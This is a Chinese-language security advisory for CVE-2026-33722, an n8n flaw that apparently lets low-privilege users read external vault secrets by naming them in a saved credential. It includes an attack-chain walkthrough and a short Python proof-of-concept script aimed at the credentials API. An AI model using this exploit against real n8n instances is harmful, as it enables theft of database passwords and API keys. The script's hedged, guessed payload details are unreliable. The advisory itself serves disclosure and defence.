IPBUF安全漏洞报告
English
CVE-2026-33722 CVSS 5.3 中危

CVE-2026-33722 n8n权限绕过导致信息泄露漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33722
漏洞类型
权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

权限绕过信息泄露n8nCVE-2026-33722

漏洞概述

n8n是一个开源工作流自动化平台。在2.6.4和1.123.23版本之前,存在一个权限绕过漏洞。已认证但无权列出外部机密的用户,可通过在凭据中引用外部机密名称,在保存凭据时获取该机密的明文值。这绕过了`externalSecret:list`权限检查,允许非管理员访问连接保管库中的机密。利用此漏洞需实例配置了外部机密保管库,且攻击者需猜测目标机密名称。

技术细节

该漏洞的核心在于n8n在处理凭据保存请求时的逻辑缺陷。当用户尝试保存包含外部机密引用的凭据时,系统会根据提供的名称去外部保管库(如HashiCorp Vault)中检索机密。虽然系统限制了用户直接枚举或列出所有机密(缺少`externalSecret:list`权限),但在验证特定名称是否存在并获取其值的过程中,未对当前用户的权限进行二次校验。攻击者利用此机制,首先需要获得n8n平台的低权限账户,并确认目标环境启用了外部机密集成。随后,攻击者可以通过编写脚本或手动构造请求,在凭据保存接口传入猜测的机密名称(如“prod-db-password”)。如果名称存在,系统会将机密的明文值直接返回给攻击者,从而绕过了基于角色的访问控制策略(RBAC),导致敏感数据泄露。

攻击链分析

STEP 1
侦察
攻击者确认目标n8n实例已配置外部机密集成(如HashiCorp Vault),并获取一个低权限的已认证账户。
STEP 2
枚举与猜测
攻击者根据应用程序上下文或常见命名模式,猜测存储在保管库中的机密名称(例如数据库密码、API密钥的名称)。
STEP 3
利用漏洞
攻击者构造包含外部机密名称引用的凭据保存请求,发送至n8n API。由于系统未在此环节严格校验`externalSecret:list`权限,触发了对机密值的检索。
STEP 4
获取数据
n8n从外部保管库获取机密明文,并在保存过程的响应或上下文中将其返回给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration TARGET_URL = "https://your-n8n-instance.com/rest/credentials" API_KEY = "LOW_PRIVILEGE_USER_API_KEY" SECRET_NAME = "target-secret-name-in-vault" # Headers headers = { "Content-Type": "application/json", "Authorization": f"Bearer {API_KEY}" } # Payload referencing the external secret by name # This attempts to save a credential that uses an external secret payload = { "name": "Test Credential", "type": "externalSecret", # or the specific credential type that allows external secrets "data": { "externalSecret": SECRET_NAME }, "nodeAccess": [] } # Send request to save credential response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) # Check if the secret value is leaked in the response if response.status_code == 200: response_data = response.json() # Depending on the endpoint behavior, the plain text value might be returned # in the response body or accessible via subsequent API calls triggered by the save. print("[+] Request successful. Check response for leaked secrets:") print(json.dumps(response_data, indent=2)) else: print("[-] Request failed:") print(response.text)

影响范围

n8n < 1.123.23
n8n < 2.6.4

防御指南

临时缓解措施
如果无法立即升级,管理员应限制n8n访问权限,仅允许完全受信任的用户使用,或者暂时禁用外部机密集成功能,直到应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表